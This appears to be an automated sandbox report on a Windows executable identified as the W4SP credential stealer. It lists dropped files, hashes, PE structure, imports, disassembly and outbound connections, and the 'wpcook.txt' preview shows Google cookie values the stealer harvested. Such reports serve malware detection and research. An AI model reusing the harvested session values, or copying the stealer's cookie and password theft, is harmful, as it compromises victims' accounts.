                                                                                                                            SHA-256:8B4B5D37B829BA885281134D9948F249E0ECD553AE72DEDA6A404619FDF4CCC5
                                                                                                                            SHA-512:A709865709ABE0C39D68E2CED4AA4387CD173EA9AA0A04C9794733B5BF3584D50256A9F756FEE1DEC144A9D724B028264763196EEB7B89AB2697FF26D83DB843
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>.t^_d'^_d'^_d'W'.'\_d'.$e&\_d'.$a&R_d'.$`&V_d'.$g&Z_d'.$e&\_d'^_e'._d'.-e&[_d'.$i&__d'.$d&__d'.$.'__d'.$f&__d'Rich^_d'........................PE..d...C.Ec.........." ...!.....2............................................................`..........................................@..L....@..x....p.......`.......H...)......L....3..T............................2..@............0...............................text............................... ..`.rdata..H....0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\sqlite3.dll

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):1445752
                                                                                                                            Entropy (8bit):6.579514536463233
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:24576:FU3ZlIdtwk5xK6uEe89TSMfoWncxKqT+Ypd5bLYUe+f6Sb1IZ:/zGWelqcxKI+YpdSb+CuC
                                                                                                                            MD5:F2220D34A76303B0C4C115B529153968
                                                                                                                            SHA1:1FEDBF72A76E4863F151FE8704B9F03F0091939F
                                                                                                                            SHA-256:A24D35883540182D7304FFB9C8342ABE53ED8DA53455E57721C7AE452280B093
                                                                                                                            SHA-512:BF7D292F5E503A985D6345A03D3C80B17D61DC31A6CB6AA3555DCAF28C481577DB3606FF9B95EF3AE1F4FD7B9EE03D5316531D43AA9A2EC319DB0FBA9E4F3784
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<T.S]:.S]:.S]:.Z%.._]:..&;.Q]:..&?.^]:..&>.[]:..&9.W]:../;.P]:.S];..]:..&2.R]:..&:.R]:..&.R]:..&8.R]:.RichS]:.........................PE..d...t.Ec.........." ...!............,........................................ ......j.....`..............................................!...................0..........x)......|...Pg..T............................f..@............ ..(............................text............................... ..`.rdata..D.... ......................@..@.data...0A.......8..................@....pdata.......0......................@..@.rsrc...............................@..@.reloc..|...........................@..B........................................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\ucrtbase.dll

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):1017720
                                                                                                                            Entropy (8bit):6.638795525512885
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:24576:ZLyubutYBWSlhrANUDk8ExrmxvSZX0ypFiR+o:dyubJvlhrVETiR+o
                                                                                                                            MD5:9679F79D724BCDBD3338824FFE8B00C7
                                                                                                                            SHA1:5DED91CC6E3346F689D079594CF3A9BF1200BD61
                                                                                                                            SHA-256:962C50AFCB9FBFD0B833E0D2D7C2BA5CB35CD339ECF1C33DDFB349253FF95F36
                                                                                                                            SHA-512:74AC8DEB4A30F623AF1E90E594D66FE28A1F86A11519C542C2BAD44E556B2C5E03D41842F34F127F8F7F7CB217A6F357604CB2DC6AA5EDC5CBA8B83673D8B8BD
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n.Pc*.>0*.>0*.>0#..0..>0*.?0..>0O..0+.>0O.>1+.>0O.=1..>0O.;1p.>0O.01..>0O.:1d.>0O..0+.>0O.<1+.>0Rich*.>0........................PE..d....A.0.........." .........b.......6....................................................`A........................................ ...........................H....d..x#......p....y..T............................B...............o...............................text............................... ..`.rdata...w...0...x..................@..@.data....$..........................@....pdata..H...........................@..@.rsrc................R..............@..@.reloc..p............X..............@..B................................................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\unicodedata.pyd

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):1121152
                                                                                                                            Entropy (8bit):5.384410518948685
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:12288:xcYYMmuZ63NPQCb5Pfhnzr0ql8L8koM7IRG5eeme6VZyrIBHdQLhfFE+uzH:aYYucZV0m8wMMREtV6Vo4uYzH
                                                                                                                            MD5:CF1EDA3F804DFA64AC00CAD29AB243E1
                                                                                                                            SHA1:3B0F08FA679227FA635490725E17460A9DE8092D
                                                                                                                            SHA-256:A3AA957CF891A411A4E22E41AA4053265ECCBA4D47B5ABE6475789EBBA7FCCA0
                                                                                                                            SHA-512:1BA213A7E5916FE628D80EFDEADE35DE7DB88CC8118F8AC348DC7F7A7C5977975C9CF63D774136259FC055790EB96644BDE2EE19C044126F1D59D665E4BC8D97
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........e...l...l...l..|....l.0.m...l.0.i...l.0.h...l.0.o...l.>.m...l.cvm...l...m...l.>.a...l.>.l...l.>.....l.>.n...l.Rich..l.................PE..d...E.Ec.........." ...!.B...........*.......................................@......$.....`.............................................X...(........ ...................)...0......@b..T............................a..@............`..x............................text....A.......B.................. ..`.rdata......`.......F..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\wpcook.txt

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):398
                                                                                                                            Entropy (8bit):5.813788723337243
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:12:FW+QzyT8RUS06v8RNwbrVlT8RVwdNJk97u4J/DZD:wUAiS06kHwjAONW97ZJtD
                                                                                                                            MD5:965245F4A2FD2C344CA7691E4822356D
                                                                                                                            SHA1:5B80E755EB8F31B643B1987CB3DBACB7198DEC65
                                                                                                                            SHA-256:319DCF3EF098430BA9A4E468CB0011EFA792BD683D4C229CEB5B4D8220D42ACA
                                                                                                                            SHA-512:9CA93730D50AD73E980DA0C61EDD7422DCC145777CC9E615994B11DD9D56CFEFC8EE4660DE1C1C182B8D668A23CF60A3A0FB8731DCAE26EED8DEFDABF585DA6E
                                                                                                                            Malicious:false
                                                                                                                            Preview:<--W4SP STEALER ON TOP-->....H057 K3Y: .google.com | N4M3: CONSENT | V41U3: PENDING+070..H057 K3Y: ogs.google.com | N4M3: OTZ | V41U3: 6639773_84_88_104280_84_446940..H057 K3Y: .google.com | N4M3: __Secure-ENID | V41U3: 6.SE=Md0Ynyf9ahpkx1CxTGF0vY434NJ6ymH-gDI2Tl5Ly-NQYGPjnNfggtiFRMAwx4JRDOC_gavEPcD5cTBJzUgtbJobmBEuJ8xi2UuotxvOZgApoqSIg1b0RP47U08XG8Bz_SExSzKy0ETSsajbToDlYyFsxfI93p7AyRAd-OeIBA0..

                                                                                                                            C:\Users\user\AppData\Local\Temp\wppassw.txt

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):29
                                                                                                                            Entropy (8bit):3.9353986674667634
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:3:v1PWgkpg1qreCS:FWhpg1qreCS
                                                                                                                            MD5:CE49C0050F7F067FF769599925706543
                                                                                                                            SHA1:A9D5EC8DA3F6274D60D4963746F345CA44716006
                                                                                                                            SHA-256:16838507DB2CF241FB39AE1AC56A4A22855C76081471FE6905A705CF0E312445
                                                                                                                            SHA-512:09BD14164EF64FDB6BBEB16BF435EDE2C809D1486B641A765B1900F734E8F73542A89E7BEC6E2094A08DB4AFC28C442AF98890828D4A95AFF34C5FF9C87E6488
                                                                                                                            Malicious:false
                                                                                                                            Preview:<--W4SP STEALER ON TOP-->....

                                                                                                                            C:\Users\user\AppData\Local\Tempwpcijtdnbz.db

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):49152
                                                                                                                            Entropy (8bit):0.7876734657715041
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
                                                                                                                            MD5:CF7758A2FF4A94A5D589DEBAED38F82E
                                                                                                                            SHA1:D3380E70D0CAEB9AD78D14DD970EA480E08232B8
                                                                                                                            SHA-256:6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
                                                                                                                            SHA-512:1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
                                                                                                                            Malicious:false
                                                                                                                            Preview:SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Tempwpojxtbyjo.db

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3038005, file counter 11, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 11
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):28672
                                                                                                                            Entropy (8bit):0.7175172839606828
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:24:TL0PczkwubXYFpFNYcw+6UwcYzHr8CtNdByiWUmozjng15n2PyS3piyQxJEv:TUcYwuLopFgU1YzLHyKDALnMj5iyQ7Ev
                                                                                                                            MD5:C1C5F78369A7D66A61D8A8AF47FFC00E
                                                                                                                            SHA1:6BADA623EBCC06BE23C97CB069504290FFAC084A
                                                                                                                            SHA-256:0528EC1BB5475617C4EA096113BB2D6B07B223945D60E81236FF1BBD72FC6D4F
                                                                                                                            SHA-512:39A5BEFD0C5D444C603EE53885EC57709E86CE14E9444F6FB3C26D45B99DD1BB46BA84FE998E11343F30C19BA7F023DA22A16D4D5DB48FA7D57B3E417E9881DE
                                                                                                                            Malicious:false
                                                                                                                            Preview:SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                            Static File Info

                                                                                                                            General

                                                                                                                            File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                            Entropy (8bit):7.993364938954266
                                                                                                                            TrID:
                                                                                                                            • Win64 Executable GUI (202006/5) 92.65%
                                                                                                                            • Win64 Executable (generic) (12005/4) 5.51%
                                                                                                                            • Generic Win/DOS Executable (2004/3) 0.92%
                                                                                                                            • DOS Executable Generic (2002/1) 0.92%
                                                                                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                            File name:4Vp6Xc8SFr.exe
                                                                                                                            File size:9489558
                                                                                                                            MD5:b91a84a6995cb793ef6417222281295b
                                                                                                                            SHA1:e8f8bf0cd0c38c339ceaadf3efca77d10bc8d43e
                                                                                                                            SHA256:37a78be75ce8c01a57b12f589aacda2e8dd8fcd861bb09e279528d4dd0a1de24
                                                                                                                            SHA512:b045173b30854d4e07d0e385120c2cb16a5133d89755f49275168c5ab92a1213d2367470a93615b75c801f7f1e03a3514825037384048242f675d8f3a2f65916
                                                                                                                            SSDEEP:196608:tALaAXYWyqXdQmRJ8dA6lXCy1ArqkVpKCX+PrF4Zb+FnFHeghkf5NmytGgpZ:WxYWySdQuslXrAZYCuPJOSFnVegQ5TGi
                                                                                                                            TLSH:3AA63364235008EDEDA99437C969960ED3C0B812A754C27F8348577A2FA7BE17CB7F24
                                                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........-@.`~@.`~@.`~..c.G.`~..e...`~..d.J.`~...~D.`~..e.h.`~..d.Q.`~..c.I.`~..a.K.`~@.a~..`~..d.T.`~..b.A.`~Rich@.`~...............

                                                                                                                            File Icon

                                                                                                                            Icon Hash:c6c2ccd6f2e0e0f8

                                                                                                                            Static PE Info

                                                                                                                            General

                                                                                                                            Entrypoint:0x14000afd0
                                                                                                                            Entrypoint Section:.text
                                                                                                                            Digitally signed:false
                                                                                                                            Imagebase:0x140000000
                                                                                                                            Subsystem:windows gui
                                                                                                                            Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                                                            DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                                                                                                            Time Stamp:0x6363BDBD [Thu Nov 3 13:10:21 2022 UTC]
                                                                                                                            TLS Callbacks:
                                                                                                                            CLR (.Net) Version:
                                                                                                                            OS Version Major:5
                                                                                                                            OS Version Minor:2
                                                                                                                            File Version Major:5
                                                                                                                            File Version Minor:2
                                                                                                                            Subsystem Version Major:5
                                                                                                                            Subsystem Version Minor:2
                                                                                                                            Import Hash:a6cec5b1a631d592d80900ab7e1de8df

                                                                                                                            Entrypoint Preview

                                                                                                                            Instruction
                                                                                                                            dec eax
                                                                                                                            sub esp, 28h
                                                                                                                            call 00007F7D24D0CDFCh
                                                                                                                            dec eax
                                                                                                                            add esp, 28h
                                                                                                                            jmp 00007F7D24D0C76Fh
                                                                                                                            int3
                                                                                                                            int3
                                                                                                                            inc eax
                                                                                                                            push ebx
                                                                                                                            dec eax
                                                                                                                            sub esp, 20h
                                                                                                                            dec eax
                                                                                                                            mov ebx, ecx
                                                                                                                            xor ecx, ecx
                                                                                                                            call dword ptr [0001F1EBh]
                                                                                                                            dec eax
                                                                                                                            mov ecx, ebx
                                                                                                                            call dword ptr [0001F1DAh]
                                                                                                                            call dword ptr [0001F14Ch]
                                                                                                                            dec eax
                                                                                                                            mov ecx, eax
                                                                                                                            mov edx, C0000409h
                                                                                                                            dec eax
                                                                                                                            add esp, 20h
                                                                                                                            pop ebx
                                                                                                                            dec eax
                                                                                                                            jmp dword ptr [0001F1D0h]
                                                                                                                            int3
                                                                                                                            int3
                                                                                                                            int3
                                                                                                                            int3
                                                                                                                            int3
                                                                                                                            int3
                                                                                                                            int3
                                                                                                                            int3
                                                                                                                            dec eax
                                                                                                                            mov dword ptr [esp+08h], ecx
                                                                                                                            dec eax
                                                                                                                            sub esp, 38h
                                                                                                                            mov ecx, 00000017h
                                                                                                                            call dword ptr [0001F1BCh]
                                                                                                                            test eax, eax
                                                                                                                            je 00007F7D24D0C8F9h
                                                                                                                            mov ecx, 00000002h
                                                                                                                            int 29h
                                                                                                                            dec eax
                                                                                                                            lea ecx, dword ptr [0004104Ah]
                                                                                                                            call 00007F7D24D0CABEh
                                                                                                                            dec eax
                                                                                                                            mov eax, dword ptr [esp+38h]
                                                                                                                            dec eax
                                                                                                                            mov dword ptr [00041131h], eax
                                                                                                                            dec eax
                                                                                                                            lea eax, dword ptr [esp+38h]
                                                                                                                            dec eax
                                                                                                                            add eax, 08h
                                                                                                                            dec eax
                                                                                                                            mov dword ptr [000410C1h], eax
                                                                                                                            dec eax
                                                                                                                            mov eax, dword ptr [0004111Ah]
                                                                                                                            dec eax
                                                                                                                            mov dword ptr [00040F8Bh], eax
                                                                                                                            dec eax
                                                                                                                            mov eax, dword ptr [esp+40h]
                                                                                                                            dec eax
                                                                                                                            mov dword ptr [0004108Fh], eax
                                                                                                                            mov dword ptr [00040F65h], C0000409h
                                                                                                                            mov dword ptr [00040F5Fh], 00000001h
                                                                                                                            mov dword ptr [00000069h], 00000000h

                                                                                                                            Data Directories

                                                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x3bc940x78.rdata
                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x520000xf498.rsrc
                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x4e0000x20c4.pdata
                                                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x620000x758.reloc
                                                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x394200x1c.rdata
                                                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x392e00x140.rdata
                                                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x2a0000x418.rdata
                                                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                            Sections

                                                                                                                            NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                            .text0x10000x287500x28800False0.5581898630401234data6.485344870483634IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                            .rdata0x2a0000x12a9e0x12c00False0.5158723958333333data5.81736271499062IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                            .data0x3d0000x103e80xe00False0.13197544642857142data1.8069121639354628IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                            .pdata0x4e0000x20c40x2200False0.47702205882352944data5.328435194850881IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                            _RDATA0x510000x15c0x200False0.38671875data2.758042162444589IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                            .rsrc0x520000xf4980xf600False0.8035759654471545data7.555572206814068IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                            .reloc0x620000x7580x800False0.5390625data5.236213438241001IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                            Resources

                                                                                                                            NameRVASizeTypeLanguageCountry
                                                                                                                            RT_ICON0x522080xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0
                                                                                                                            RT_ICON0x530b00x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0
                                                                                                                            RT_ICON0x539580x568Device independent bitmap graphic, 16 x 32 x 8, image size 0
                                                                                                                            RT_ICON0x53ec00x952cPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
                                                                                                                            RT_ICON0x5d3ec0x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0
                                                                                                                            RT_ICON0x5f9940x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0
                                                                                                                            RT_ICON0x60a3c0x468Device independent bitmap graphic, 16 x 32 x 32, image size 0
                                                                                                                            RT_GROUP_ICON0x60ea40x68data
                                                                                                                            RT_MANIFEST0x60f0c0x589XML 1.0 document, ASCII text, with CRLF line terminators

                                                                                                                            Imports

                                                                                                                            DLLImport
                                                                                                                            USER32.dllCreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
                                                                                                                            COMCTL32.dll
                                                                                                                            KERNEL32.dllIsValidCodePage, GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, GetACP, GetOEMCP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetCPInfo, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEndOfFile, SetEnvironmentVariableW, RtlUnwindEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
                                                                                                                            ADVAPI32.dllOpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
                                                                                                                            GDI32.dllSelectObject, DeleteObject, CreateFontIndirectW

                                                                                                                            Network Behavior

                                                                                                                            Network Port Distribution

                                                                                                                            TCP Packets

                                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                                            Apr 4, 2023 09:04:12.489053965 CEST49709443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:12.489121914 CEST4434970951.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:12.489247084 CEST49709443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:12.559032917 CEST49709443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:12.559077978 CEST4434970951.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:12.561800003 CEST49710443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:12.561866999 CEST4434971064.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:12.561954975 CEST49710443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:12.563975096 CEST49710443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:12.564007044 CEST4434971064.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:12.691827059 CEST4434970951.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:12.692953110 CEST49709443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:12.692998886 CEST4434970951.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:12.695414066 CEST4434970951.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:12.695538998 CEST49709443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:12.697240114 CEST49709443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:12.697283030 CEST4434970951.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:12.697611094 CEST49709443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:12.983678102 CEST4434971064.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.083007097 CEST49710443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:13.395515919 CEST49710443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:13.395559072 CEST4434971064.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.399347067 CEST4434971064.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.399466038 CEST4434971064.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.399549007 CEST49710443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:13.402158976 CEST49710443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:13.402195930 CEST4434971064.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.402415037 CEST4434971064.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.412544966 CEST49710443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:13.412581921 CEST4434971064.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.510838985 CEST4434971064.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.511049986 CEST49710443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:13.522986889 CEST49710443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:13.694964886 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:13.695039988 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.695127964 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:13.696151972 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:13.696190119 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.699567080 CEST49712443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:13.699640989 CEST44349712159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.699733019 CEST49712443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:13.700737000 CEST49712443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:13.700807095 CEST44349712159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.828955889 CEST44349712159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.829478025 CEST49712443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:13.829530954 CEST44349712159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.832104921 CEST44349712159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.832351923 CEST49712443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:13.849148035 CEST49712443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:13.849200010 CEST44349712159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.849315882 CEST49712443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:13.849329948 CEST44349712159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.849503994 CEST44349712159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.894893885 CEST44349712159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.895128012 CEST49712443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:13.896296978 CEST49712443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:14.112565994 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.112629890 CEST4434971346.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.112718105 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.113353968 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.113378048 CEST4434971346.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.171963930 CEST4434971346.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.172750950 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.172785044 CEST4434971346.4.105.116192.168.2.6
